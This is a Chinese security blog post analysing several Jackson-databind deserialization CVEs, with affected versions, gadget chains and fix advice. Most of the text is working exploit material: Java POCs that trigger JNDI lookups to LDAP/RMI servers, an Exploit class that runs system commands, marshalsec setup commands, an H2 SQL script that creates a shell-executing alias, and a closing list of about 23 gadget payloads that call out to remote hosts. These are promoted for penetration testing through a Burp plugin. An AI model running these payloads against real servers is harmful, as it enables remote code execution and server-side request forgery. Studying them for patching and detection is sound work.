【java安全】Jackson组件漏洞

admin 2026-06-15 04:35:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Jackson组件三个高危反序列化漏洞(CVE-2017-7525、CVE-2019-12384、CVE-2020-8840),涵盖影响版本、漏洞原理、利用链构造及完整复现步骤。核心发现是Jackson在启用enableDefaultTyping时可通过JDK内置类或第三方依赖(如logback-core、h2database)实现RCE或SSRF,修复建议包括升级组件、禁用多态反序列化、移除危险依赖。 综合评分: 85 文章分类: 漏洞分析,WEB安全,代码审计,红队,实战经验


cover_image

【java安全】Jackson 组件漏洞

原创

jaysen13 jaysen13

凌霜雁安全志

2026年6月11日 18:18 湖南

在小说阅读器读本章

去阅读

点击上方「凌霜雁安全志」公众号卡片 → 点击「关注」,网安技术 / 工具 / 自研资源,这里都有!设为星标,新干货第一时间发送~🌟

Jackson 是一个用于 Java 平台的高性能 JSON 处理库,核心功能是实现 Java 对象与 JSON 数据之间的相互转换(序列化与反序列化)。

CVE-2017-7525

0x01 影响版本

jackson-databind 2.x < 2.6.7.1 / 2.7.x < 2.7.9.1 / 2.8.x < 2.8.9

修复版本:2.6.7.1 / 2.7.9.1 / 2.8.9

这是 Jackson 反序列化漏洞的开山之作,影响极大。漏洞曝光后 Jackson 官方开始引入黑名单机制,从此开启了长达数年的”绕过-封堵”攻防拉锯战。

0x02 漏洞条件

1.enableDefaultTyping() 已开启2.无需额外第三方依赖(JDK 自带类即可触发)

0x03 漏洞原理

CVE-2017-7525 之前,Jackson 没有任何黑名单机制,完全信任 JSON 中指定的类名。攻击者可以传入 JDK 自带的危险类作为 Gadget。

com.sun.rowset.JdbcRowSetImpl 是 JDK 自带类,无需任何第三方依赖。setDataSourceName() 设置 RMI/LDAP 地址,setAutoCommit(true) 触发 connect() → InitialContext.lookup(),最终远程加载恶意 class 并执行。

利用链:

mapper.readValue&nbsp; ->&nbsp;JdbcRowSetImpl.setDataSourceName &nbsp; &nbsp;(设置 RMI/LDAP 地址)&nbsp; ->&nbsp;JdbcRowSetImpl.setAutoCommit(true)&nbsp; &nbsp; -> connect()&nbsp; &nbsp; &nbsp; -> InitialContext.lookup &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (JNDI注入)

0x04 漏洞复现

在 pom.xml 中导入依赖(无需额外第三方):

<dependency>&nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.core</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jackson-databind</artifactId>&nbsp; &nbsp;&nbsp;<version>2.8.8</version></dependency>

步骤一:准备恶意类 Exploit

编写 Exploit.java:

public&nbsp;class&nbsp;Exploit&nbsp;{&nbsp; &nbsp;&nbsp;static&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Runtime.getRuntime().exec("calc");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception&nbsp;e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

编译:

javac&nbsp;Exploit.java

步骤二:搭建 HTTP 服务

在 Exploit.class 所在目录启动 HTTP 服务,供 LDAP 回调加载:

# Python 2python&nbsp;-m SimpleHTTPServer&nbsp;80# Python 3python&nbsp;-m http.server&nbsp;80

步骤三:搭建 LDAP 服务

使用 marshalsec[1] 启动 RMI 转发服务:

java&nbsp;-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:80/#Exploit

RMI 服务默认监听 1099端口,当目标触发 JNDI 查询时会回调 HTTP 服务加载恶意类。

步骤四:执行 POC

import&nbsp;com.fasterxml.jackson.databind.ObjectMapper;
public&nbsp;class&nbsp;POC&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void main(String[] args)&nbsp;throws&nbsp;Exception&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 允许 RMI URLCodebase 远程加载(低版本 JDK 需要)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase",&nbsp;"true");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectMapper&nbsp;mapper&nbsp;=&nbsp;new&nbsp;ObjectMapper();&nbsp; &nbsp; &nbsp; &nbsp; mapper.enableDefaultTyping();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// JdbcRowSetImpl:JDK 自带类,无需第三方依赖&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;payload&nbsp;=&nbsp;"[\"com.sun.rowset.JdbcRowSetImpl\", "&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\","&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"\"autoCommit\":true}]";
&nbsp; &nbsp; &nbsp; &nbsp; mapper.readValue(payload,&nbsp;Object.class);&nbsp; &nbsp; }}

运行后弹出计算器,RCE 成功。

注意:高版本 JDK(8u121+ / 7u131+ / 6u141+)禁用了 RMI 远程加载,高版本改用 LDAP 即可: {"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}

0x05 修复建议

1.升级 jackson-databind 至 2.6.7.1 / 2.7.9.1 / 2.8.9+(此版本后引入黑名单机制)2.禁用 enableDefaultTyping(),使用 @JsonTypeInfo 精确指定允许的反序列化类型3.升级 JDK 至安全版本以限制 JNDI 远程类加载4.反序列化时指定具体类而非 Object.class

CVE-2019-12384

0x01 影响版本

jackson-databind 2.0.0 至 2.9.9

0x02 漏洞条件

1.enableDefaultTyping() 已开启2.logback-core(ssrf)、h2database(rce)依赖存在

0x03 漏洞原理

jackson-databind 2.0.0 ~ 2.9.9 的黑名单未覆盖 ch.qos.logback.core.db.DriverManagerConnectionSource。当开启多态反序列化后,攻击者可指定 JSON 中类名为该 Gadget,触发其 getConnection() → DriverManager.getConnection(url) 调用链,使目标服务器发起 JDBC 连接。

JDBC 连接可被用于:

SSRF:通过 JDBC URL(如 jdbc:h2:tcp://dnslog.cn/~/test)让目标发起 DNS/网络请求,探测内网或外带数据

RCE:利用 H2 数据库的 INIT=RUNSCRIPT 特性,连接远程恶意 SQL 文件,通过 CREATE ALIAS 定义 Java 函数并执行系统命令

利用链:

mapper.readValue&nbsp; ->&nbsp;DriverManagerConnectionSource.setUrl &nbsp; &nbsp; &nbsp; &nbsp;(设置 JDBC URL)&nbsp; ->&nbsp;mapper.writeValueAsString 触发 getConnection&nbsp; &nbsp; -> DriverManager.getConnection(url)&nbsp; &nbsp; &nbsp; -> JDBC 连接(SSRF)或 H2 INIT=RUNSCRIPT(RCE)

0x04 漏洞复现

先依赖导入

在pom.xml文件中导入以下依赖,这里导入的模块有点多

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.core</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>jackson-databind</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>2.9.8</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.core</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>jackson-core</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>2.9.8</version>&nbsp;<!-- 必须和 databind 同版本 -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.core</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>jackson-annotations</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>2.9.8</version>&nbsp;<!-- 必须同版本 -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- 时间模块也必须降到 2.9.x,否则启动报错 -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.datatype</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>jackson-datatype-jsr310</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>2.9.8</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- logback 用兼容 JDK8 的稳定版,不要用 alpha 版 -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>ch.qos.logback</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>logback-classic</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>1.2.3</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>ch.qos.logback</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>logback-core</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>1.2.3</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- H2 数据库 -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>com.h2database</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>h2</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>1.4.199</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>

漏洞源码如下:

// 手动加载并实例化H2数据库驱动(用于后续JDBC连接,此处为SSRF/RCE payload准备环境)Class.forName("org.h2.Driver").newInstance();System.out.println("Mapping");
// 定义第一个恶意JSON payload:用于SSRF(服务端请求伪造)复现// Gadget类:ch.qos.logback.core.db.DriverManagerConnectionSource// 其url字段被设置为一个外网H2数据库的JDBC URL,反序列化时会尝试连接该地址,从而触发DNS/网络请求String&nbsp;jsonStr1&nbsp;=&nbsp;"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://smiw6m.dnslog.cn/~/test\"}]";
// 创建Jackson的ObjectMapper实例ObjectMapper&nbsp;mapper&nbsp;=&nbsp;new&nbsp;ObjectMapper();
// 关键步骤:开启默认类型支持(enableDefaultTyping),允许JSON中指定类名,这是漏洞触发的必要条件mapper.enableDefaultTyping();
// 配置序列化特性:当对象属性为空时不抛出异常mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS,&nbsp;false);
// 把 JSON -> Java对象(反序列化)Object&nbsp;obj&nbsp;=&nbsp;mapper.readValue(jsonStr1, java.lang.Object.class);// 把 Java对象 -> JSON字符串(序列化)mapper.writeValueAsString(obj);

运行后成功触发此漏洞

当然也可以rce

首先在公网机自己的启动一个http 共享以下的恶意sql文件

CREATE ALIAS SHELLEXEC AS $$String&nbsp;shellexec(String cmd)&nbsp;throws&nbsp;java.io.IOException {&nbsp; &nbsp; String[] command = {"cmd",&nbsp;"/c", cmd};&nbsp; &nbsp; java.util.Scanner&nbsp;s&nbsp;=&nbsp;new&nbsp;java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");&nbsp; &nbsp;&nbsp;return&nbsp;s.hasNext() ? s.next() :&nbsp;"";}$$;
CALL&nbsp;SHELLEXEC('calc');

0x05 修复建议

1.升级 jackson-databind 至安全版本(2.9.9.1+)2.如非必要,移除 logback-coreh2database 等可利用的第三方依赖3.禁用 enableDefaultTyping(),使用 @JsonTypeInfo 精确指定允许的反序列化类型4.升级 JDK 至安全版本以限制 JNDI 远程类加载

CVE-2020-8840

0x01 影响版本

jackson-databind 2.0.0 至 2.9.10.2

修复版本:2.9.10.3 / 2.8.11.5 / 2.10.x

0x02 漏洞条件

1.enableDefaultTyping() 已开启2.xbean-reflect 依赖存在(提供 org.apache.xbean.propertyeditor.JndiConverter 利用类)3.JDK 版本限制:LDAP 方式需 JDK < 11.0.1 / 8u191 / 7u201 / 6u211;RMI 方式限制更严格

0x03 漏洞原理

jackson-databind 的黑名单中漏掉了 org.apache.xbean.propertyeditor.JndiConverter。当开启多态反序列化后,攻击者可传入该类的 JSON,触发 setAsText() → toObject() → toObjectImpl() → InitialContext.lookup() 调用链,造成 JNDI 注入,最终实现 RCE。

利用链:

mapper.readValue&nbsp; ->&nbsp;AbstractConverter.setAsText&nbsp; &nbsp; -> AbstractConverter.toObject&nbsp; &nbsp; &nbsp; -> JndiConverter.toObjectImpl&nbsp; &nbsp; &nbsp; &nbsp; -> InitialContext.lookup &nbsp;(JNDI注入)

0x04 漏洞复现

在 pom.xml 中导入以下依赖:

<dependency>&nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.core</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jackson-databind</artifactId>&nbsp; &nbsp;&nbsp;<version>2.9.9.1</version></dependency><!-- xbean-reflect:提供 JndiConverter 利用类 --><dependency>&nbsp; &nbsp;&nbsp;<groupId>org.apache.xbean</groupId>&nbsp; &nbsp;&nbsp;<artifactId>xbean-reflect</artifactId>&nbsp; &nbsp;&nbsp;<version>4.17</version></dependency><dependency>&nbsp; &nbsp;&nbsp;<groupId>org.slf4j</groupId>&nbsp; &nbsp;&nbsp;<artifactId>slf4j-nop</artifactId>&nbsp; &nbsp;&nbsp;<version>1.7.2</version></dependency><!-- xbean-reflect 依赖 jta --><dependency>&nbsp; &nbsp;&nbsp;<groupId>javax.transaction</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jta</artifactId>&nbsp; &nbsp;&nbsp;<version>1.1</version></dependency>

步骤一至三:准备 Exploit 恶意类、HTTP 服务和 LDAP 转发服务,同 CVE-2017-7525 中的步骤一至三,此处不再赘述。

步骤四:执行 POC

(这里注意java版本,不然会失败)

import&nbsp;com.fasterxml.jackson.databind.ObjectMapper;
public&nbsp;class&nbsp;Poc&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void main(String[] args)&nbsp;throws&nbsp;Exception&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectMapper&nbsp;mapper&nbsp;=&nbsp;new&nbsp;ObjectMapper();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 关键:开启多态默认类型&nbsp; &nbsp; &nbsp; &nbsp; mapper.enableDefaultTyping();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// JndiConverter 的 setAsText 会触发 lookup&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;payload&nbsp;=&nbsp;"[\"org.apache.xbean.propertyeditor.JndiConverter\", "&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"{\"asText\":\"ldap://127.0.0.1:1389/Exploit\"}]";
&nbsp; &nbsp; &nbsp; &nbsp; mapper.readValue(payload,&nbsp;Object.class);&nbsp; &nbsp; }}

运行后弹出计算器,RCE 成功。

0x05 修复建议

1.升级 jackson-databind 至安全版本(2.9.10.3 / 2.8.11.5 / 2.10.x)2.如非必要,移除 xbean-reflect 依赖3.升级 JDK 至安全版本(LDAP:JDK 11.0.1+ / 8u191+ / 7u201+)4.禁用 enableDefaultTyping(),使用 @JsonTypeInfo 精确指定允许的反序列化类型

CVE-2020-9548

0x01 影响版本

jackson-databind 2.x < 2.9.10.4

修复版本:2.9.10.4 / 2.8.11.6 / 2.7.9.7

0x02 漏洞条件

1.enableDefaultTyping() 已开启2.Anteros-DBCP 依赖存在(提供 br.com.anteros.dbcp.AnterosDBCPConfig 利用类)3.JDK 版本限制:LDAP 方式需 JDK < 11.0.1 / 8u191 / 7u201 / 6u211

0x03 漏洞原理

jackson-databind 黑名单遗漏了 br.com.anteros.dbcp.AnterosDBCPConfig。该类中存在 setMetricRegistry() 和 setHealthCheckRegistry() 方法,均会调用 getObjectOrPerformJndiLookup(),最终触发 InitialContext.lookup() 造成 JNDI 注入。

利用链:

mapper.readValue&nbsp; ->&nbsp;setMetricRegistry / setHealthCheckRegistry&nbsp; &nbsp; -> getObjectOrPerformJndiLookup&nbsp; &nbsp; &nbsp; -> InitialContext.lookup &nbsp;(JNDI注入)

该漏洞有两条触发路径,分别对应 metricRegistry 和 healthCheckRegistry 两个 setter。

0x04 漏洞复现

在 pom.xml 中导入以下依赖:

<dependency>&nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.core</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jackson-databind</artifactId>&nbsp; &nbsp;&nbsp;<version>2.9.9.1</version></dependency><!-- Anteros-DBCP:提供 AnterosDBCPConfig 利用类 --><dependency>&nbsp; &nbsp;&nbsp;<groupId>br.com.anteros</groupId>&nbsp; &nbsp;&nbsp;<artifactId>Anteros-DBCP</artifactId>&nbsp; &nbsp;&nbsp;<version>1.0.1</version></dependency><dependency>&nbsp; &nbsp;&nbsp;<groupId>org.slf4j</groupId>&nbsp; &nbsp;&nbsp;<artifactId>slf4j-nop</artifactId>&nbsp; &nbsp;&nbsp;<version>1.7.2</version></dependency><dependency>&nbsp; &nbsp;&nbsp;<groupId>javax.transaction</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jta</artifactId>&nbsp; &nbsp;&nbsp;<version>1.1</version></dependency>

步骤一至三:准备 Exploit 恶意类、HTTP 服务和 LDAP 转发服务,同 CVE-2017-7525 中的步骤一至三,此处不再赘述。

步骤四:执行 POC(两条路径均可触发)

POC-1(通过 metricRegistry 触发):

import&nbsp;com.fasterxml.jackson.databind.ObjectMapper;
public&nbsp;class&nbsp;Poc&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void main(String[] args)&nbsp;throws&nbsp;Exception&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectMapper&nbsp;mapper&nbsp;=&nbsp;new&nbsp;ObjectMapper();&nbsp; &nbsp; &nbsp; &nbsp; mapper.enableDefaultTyping();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;payload&nbsp;=&nbsp;"[\"br.com.anteros.dbcp.AnterosDBCPConfig\", "&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"{\"metricRegistry\":\"ldap://127.0.0.1:1389/Exploit\"}]";
&nbsp; &nbsp; &nbsp; &nbsp; mapper.readValue(payload,&nbsp;Object.class);&nbsp; &nbsp; }}

POC-2(通过 healthCheckRegistry 触发):

String&nbsp;payload&nbsp;=&nbsp;"[\"br.com.anteros.dbcp.AnterosDBCPConfig\", "&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"{\"healthCheckRegistry\":\"ldap://127.0.0.1:1389/Exploit\"}]";

运行后弹出计算器,RCE 成功。

0x05 修复建议

1.升级 jackson-databind 至安全版本(2.9.10.4 / 2.8.11.6 / 2.7.9.7)2.如非必要,移除 Anteros-DBCP 依赖3.升级 JDK 至安全版本(11.0.1+ / 8u191+ / 7u201+)4.禁用 enableDefaultTyping(),使用 @JsonTypeInfo 精确指定允许的反序列化类型

CVE-2020-35728

0x01 影响版本

jackson-databind 2.x < 2.9.10.8

修复版本:2.9.10.8+

0x02 漏洞条件

1.enableDefaultTyping() 已开启2.org.glassfish.web:jakarta.servlet.jsp.jstl 依赖存在(提供 com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool 利用类)3.JDK 版本限制:LDAP 方式需 JDK < 11.0.1 / 8u191 / 7u201 / 6u211

0x03 漏洞原理

jackson-databind 黑名单遗漏了 com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool。该类内嵌在 org.glassfish.web:jakarta.servlet.jsp.jstl 中,其 jndiPath 属性的 setter 会直接调用 InitialContext.lookup() 进行 JNDI 查询,造成 JNDI 注入,从而实现 RCE。

利用链:

mapper.readValue&nbsp; ->&nbsp;JNDIConnectionPool.setJndiPath&nbsp; &nbsp; -> InitialContext.lookup &nbsp;(JNDI注入)

0x04 漏洞复现

在 pom.xml 中导入以下依赖:

<dependency>&nbsp; &nbsp;&nbsp;<groupId>com.fasterxml.jackson.core</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jackson-databind</artifactId>&nbsp; &nbsp;&nbsp;<version>2.9.10.7</version></dependency><!-- 提供 JNDIConnectionPool 利用类 --><dependency>&nbsp; &nbsp;&nbsp;<groupId>org.glassfish.web</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jakarta.servlet.jsp.jstl</artifactId>&nbsp; &nbsp;&nbsp;<version>2.0.0</version></dependency><dependency>&nbsp; &nbsp;&nbsp;<groupId>org.slf4j</groupId>&nbsp; &nbsp;&nbsp;<artifactId>slf4j-nop</artifactId>&nbsp; &nbsp;&nbsp;<version>1.7.2</version></dependency><dependency>&nbsp; &nbsp;&nbsp;<groupId>javax.transaction</groupId>&nbsp; &nbsp;&nbsp;<artifactId>jta</artifactId>&nbsp; &nbsp;&nbsp;<version>1.1</version></dependency>

步骤一至三:准备 Exploit 恶意类、HTTP 服务和 LDAP 转发服务,同 CVE-2017-7525 中的步骤一至三,此处不再赘述。

步骤四:执行 POC

import&nbsp;com.fasterxml.jackson.databind.ObjectMapper;
public&nbsp;class&nbsp;POC&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;payload&nbsp;=&nbsp;"[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\", "&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"{\"jndiPath\":\"ldap://127.0.0.1:1389/Exploit\"}]";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectMapper&nbsp;mapper&nbsp;=&nbsp;new&nbsp;ObjectMapper();&nbsp; &nbsp; &nbsp; &nbsp; mapper.enableDefaultTyping();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;obj&nbsp;=&nbsp;mapper.readValue(payload, Object.class);&nbsp; &nbsp; &nbsp; &nbsp; mapper.writeValueAsString(obj);&nbsp; &nbsp; }}

运行后弹出计算器,RCE 成功。

0x05 修复建议

1.升级 jackson-databind 至安全版本(2.9.10.8+)2.如非必要,移除 org.glassfish.web:jakarta.servlet.jsp.jstl 依赖3.升级 JDK 至安全版本(11.0.1+ / 8u191+ / 7u201+)4.禁用 enableDefaultTyping(),使用 @JsonTypeInfo 精确指定允许的反序列化类型

Payload 汇总

["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit","autoCommit":true}]&nbsp; # CVE-2017-7525
["org.springframework.jndi.support.SimpleJndiBeanFactory", {"lookup":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # Spring JNDI["org.springframework.context.support.ClassPathXmlApplicationContext", {"configLocation":"http://xxx.dnslog.cn/bean.xml"}]&nbsp; # Spring XML RCE
["com.alibaba.druid.pool.DruidDataSource", {"url":"jdbc:jndi:ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # Alibaba Druid JNDI["com.alibaba.druid.pool.DruidDataSource", {"jdbcUrl":"jdbc:jndi:ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # Alibaba Druid JNDI (alt)
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://xxx.dnslog.cn/~/test"}]&nbsp; # CVE-2019-12384&nbsp;(SSRF)["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://xxx.dnslog.cn/exec.sql'"}]&nbsp; # CVE-2019-12384&nbsp;(H2&nbsp;RCE)
["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # CVE-2020-8840
["org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", {"properties":{"data_source":"ldap://xxx.dnslog.cn/Exploit"}}]&nbsp; # MyBatis JNDI
["org.springframework.transaction.jta.JtaTransactionManager", {"userTransactionName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # Spring JTA JNDI["org.springframework.transaction.jta.JtaTransactionManager", {"transactionManagerName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # Spring JTA JNDI (alt)
["org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS", {"url":"jdbc:h2:tcp://xxx.dnslog.cn/~/test"}]&nbsp; # DBCP2&nbsp;H2&nbsp;SSRF["org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://xxx.dnslog.cn/exec.sql'"}]&nbsp; # CVE-2020-36179
["org.apache.commons.dbcp2.datasources.PerUserPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # CVE-2020-36183["org.apache.commons.dbcp2.datasources.SharedPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # CVE-2020-36184["org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # CVE-2020-36185["org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # CVE-2020-36188["org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS", {"url":"jdbc:h2:tcp://xxx.dnslog.cn/~/test"}]&nbsp; # Tomcat DBCP2&nbsp;H2&nbsp;SSRF["org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://xxx.dnslog.cn/exec.sql'"}]&nbsp; # Tomcat DBCP2&nbsp;H2&nbsp;RCE
["org.apache.commons.dbcp.datasources.SharedPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # DBCP1 JNDI["org.apache.commons.dbcp.datasources.PerUserPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # DBCP1 JNDI (PerUser)["org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # CVE-2020-36186["org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource", {"dataSourceName":"ldap://xxx.dnslog.cn/Exploit"}]&nbsp; # Tomcat DBCP1 JNDI

以上 payload 汇总覆盖了 Jackson 历史漏洞中能 DNSLOG 探测的主要 NDay。未逐一展开的 CVE(如 CVE-2020-9546/9547/36180/36183/36184/36185/36188 等)万变不离其宗,利用原理均不出以下三类:

JNDI 注入:换个包名/类名绕过黑名单,最终都是 InitialContext.lookup("ldap://xxx.dnslog.cn/...")H2 JDBC RCE:不同的 DBCP 适配器类(DriverAdapterCPDS 在 commons-dbcp、commons-dbcp2、tomcat-dbcp、tomcat-dbcp2 不同包下),本质都是 DriverManager.getConnection(url) → INIT=RUNSCRIPTH2 TCP SSRF:同上,JDBC URL 指向 jdbc:h2:tcp://xxx.dnslog.cn/

因此文中仅选取代表性 CVE 作详细复现,其余同类型变体不再逐一演示。

工具推荐

在实际渗透测试中,文章内的 23 条 payload 已集成至 Burp 插件 JaySenScan[2],具备以下核心优势:

项目地址:https://github.com/Jaysen13/jaysenscan

